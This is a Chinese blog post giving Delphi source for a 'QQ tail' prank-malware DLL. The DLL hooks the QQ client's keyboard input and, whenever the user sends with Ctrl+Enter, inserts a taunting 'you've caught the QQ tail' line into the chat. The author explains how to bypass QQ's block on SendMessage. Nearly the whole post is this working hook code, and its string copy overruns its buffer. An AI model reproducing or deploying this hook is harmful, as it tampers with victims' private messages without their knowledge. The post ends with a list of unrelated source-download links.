delphi QQ尾巴源码
之前网上看了QQ尾巴的源码,就自己试运行了一下,但是无反应,后上网一查,QQ在2005版后就禁止,SendMessage给发送框,后来在一BBS看到一回帖,说只要把SendMessage中的MSG参数换成EM_ReplaceSel就能正常发送(测试QQ版本QQ2008Beta1_BlessingKB1)
{ QQ尾巴 开启:SetHook 关闭:UnHook}
function SetHook:Boolean;stdcall;far; external 'TestDll.dll';
SetHook;
{ 生成TestDll.dLL文件 }
library TestDll;
uses
SysUtils,Windows,Messages,
Classes;
var
dwThreadID:DWord;
EventLog:Integer;
hHook:Integer;
recOK:Integer;
hQQ : hwnd;
note:hwnd;
procedure SetWndText(hWnd: HWND; Text: String);
Var
//Ret:LongInt;
mText:PChar;
Buf:Integer;
begin
GetMem(mText,Length(Text));
StrCopy(mText,PChar(Text));
try
Buf:=LongInt(mText);
SendMessage(hWnd,EM_ReplaceSel,0,Buf);
finally
FreeMem(mText,Length(Text));
end;
end;
function GetWndText(hWnd: HWND): String;
Var
Ret:LongInt;
mText:PChar;
Buf:Integer;
begin
Ret:=SendMessage(hWnd,WM_GETTEXTLENGTH,0,0)+1;
GetMem(mText,Ret);
try
Buf:=LongInt(mText);
SendMessage(hWnd,WM_GETTEXT,Ret,Buf);
Result:=StrPas(mText);
finally
FreeMem(mText,Ret);
end;
end;
Function FindQQ:hwnd;
var
hQQ : hwnd;
QQTitle: String;
begin
Result :=0;
//查找QQ
hQQ := FindWindowEx(0, //Parent
0, //Child
'#32770', //窗口类名通过Spy++或者MiniSpy都可以查到
nil //窗口Caption
);
//循环查找
While (hQQ <> 0) do //and (hSend = 0)
begin
QQTitle := GetWndText(hQQ);
if (Pos('聊天中',QQTitle)>0) or
(Pos('发送消息',QQTitle)>0) or
(Pos('群',QQTitle)>0) then
begin
// showMessage(QQTitle);
result := hQQ;
exit;
end;
//查找QQ
hQQ := FindWindowEx(0, //Parent
hQQ, //Child
'#32770', //窗口类名通过Spy++或者MiniSpy都可以查到
nil //窗口Caption
);
end;
end;
function HookProc(iCode:Integer;wParam:wParam;lParam:lParam):LRESULT;stdcall;
var
hChild:hwnd;
hRichText:hwnd;
begin
recOK:=1;
Result:=0;
if iCode < 0 then
Result := CallNextHookEx(hHook,iCode,wParam,lParam)
else if iCode = HC_SYSMODALON then
recOK:=0
else if iCode = HC_SYSMODALOFF then
recOK:=1
else if ((recOK>0) and (iCode = HC_ACTION)) then
begin
if ((wParam = VK_RETURN) and (GetAsyncKeyState(VK_CONTROL) < 0)) then
begin
hQQ := FindQQ;
hChild := GetDlgItem(hQQ,0); //发送窗口所在的子窗口
hRichText := GetDlgItem(GetDlgItem(hChild,0), 894);
SetWndText(hRichText,' -- 哈哈,你中了QQ尾巴!');
end;
result:=CallNextHookEx(hHook,iCode,wParam,lParam);
end;
end;
Function SetHook:Boolean;stdcall; export;
var
dwThreadID:DWord;
hQQ : hwnd;
begin
EventLog:=0;
hQQ := FindQQ;
if hQQ=0 then exit;
dwThreadID := GetWindowThreadProcessId(hQQ, dwThreadID);
//建立键盘鼠标操作消息纪录链
hHook:=SetwindowsHookEx(WH_KEYBOARD,HookProc,HInstance,dwThreadID);
end;
Function UnHook:Boolean;stdcall; export;
begin
result:=UnhookWindowsHookEx(hHook);
end;
exports //DLL的输出函数
SetHook,UnHook;
begin
end.
delphi QQ尾巴源码相关推荐
- QQ红包源码 大转盘抽奖源码下载 微信红包源码
简介: 源码开发语言:PHP+MYSQL 源码描述说明: QQ红包源码微信红包源码QQCPA/QQ推广 微信CPA/微信活动 注意:以上文件和文件夹均可直接删除,如需用到文件夹需要的功能,新建同名的目 ...
- 分享Delphi处理EXCEL源码
分享Delphi处理EXCEL源码,源码如下: (*************************************************************************** ...
- [AYUI]QQ管家源码已经开源
(0-50元 黑色字体 享受AY 1周的 ayui 技术问答) (50-100元 绿色字体 享受AY 15天的 ayui 技术问答) (100-150元 蓝色字体 享受AY 20天的 ayui ...
- 自定义微博小尾巴(源码+解析)
前言: 自王思聪发布了那条小尾巴是 iPhone6 的微博后, 越来越多的人跟风, 把小尾巴改成了iPhone6. 但是, 没多久, 新浪就把原先的办法给和谐了.原先的办法很简单, 就是通过网页发布 ...
- Delphi 播放器[源码]
Delphi 音乐播放器,支持桌面歌词.换肤.换颜色.歌词自动下载,Win7下支持小窗口预览,有些功能未完全完成,就如调整音量(懒得搞,但是可以听了,只写了一次性播放列表没得循环的).支持酷狗.QQ的 ...
- 仿qq邮箱源码程序_巧用小程序·云开发实现邮件发送功能丨实战
先看效果图: 通过上面的日志,可以看出我们是158开头的邮箱给250开头的邮箱发送邮件,下面是成功接收到的邮件. 准备工作 1.qq邮箱一个 2.开通你的qq邮箱的授权码(会具体讲解) 3.注册自己的 ...
- qq纵横四海源码_【0基础】纵横中文网python爬虫实战
原文在此~ [0基础]纵横中文网python爬虫实战mp.weixin.qq.com 大家好,我是你们的机房老哥! 在粉丝群的日常交流中,爬虫是比较常见的话题.python最强大的功能之一也是爬虫. ...
- [delphi]修改indy源码后重新编译
http://blog.csdn.net/nerdy/article/details/8702568 虽然indy有一身的毛病,但是一般情况下使用起来还是多方便的. 今天在做一个使用到indy的程序的 ...
- 仿qq邮箱源码程序_小伙子利用C++实现邮件程序发送和接收
3个通过POP发送和接收邮件的VC++实例程序:三个实例分别如下: 1.pop3高级程序开发是一个能够从pop3服务器中检查所有邮件,并且可以查看邮件内容,也可以删除邮件但是没有实现附件的接收,使用时 ...
最新文章
- opencv3学习总结1
- Linux磁盘分区了解多少?Linux入门必看
- 【数据结构与算法】之深入解析“字符串转换整数 (atoi)”的求解思路和算法示例
- LeetCode 557. 反转字符串中的单词 III(栈)
- java两个数最大公约数和最小公倍数,java求两个数的最大公约数和最小公倍数
- 严蔚敏算法约瑟夫环_极客算法训练笔记(三),链表详细图解,别再逃避了朋友...
- 【bzoj 3595】: [Scoi2014]方伯伯的Oj
- 获取列表的最后一个元素
- 用 js判断 一个数是否是素数(质数)_小学数学知识点1~6年级汇总整理,收藏起来随时用!(下)...
- python json()是什么函数_python 处理 json 四个函数dumps、loads、dump、load的区别
- [BootStrap学习随笔] 起步、布局容器和栅格式布局
- pandas读取数据库,将结果使用matplotlib绘制成二维表格图片
- ShowWindow与UpdateWindow
- SpringBosent框架
- 没有大招的火山引擎,拿下70%大模型玩家
- Python实现base64编码文件转化为jpg/png/jpeg/格式图片
- 苹果微信多开_微信双开是什么?是不是需要两个手机号?
- 电源 LDO 低压差线性稳压电源
- Python使用pngquant实现批量压缩图片
- css针对IE单独设置样式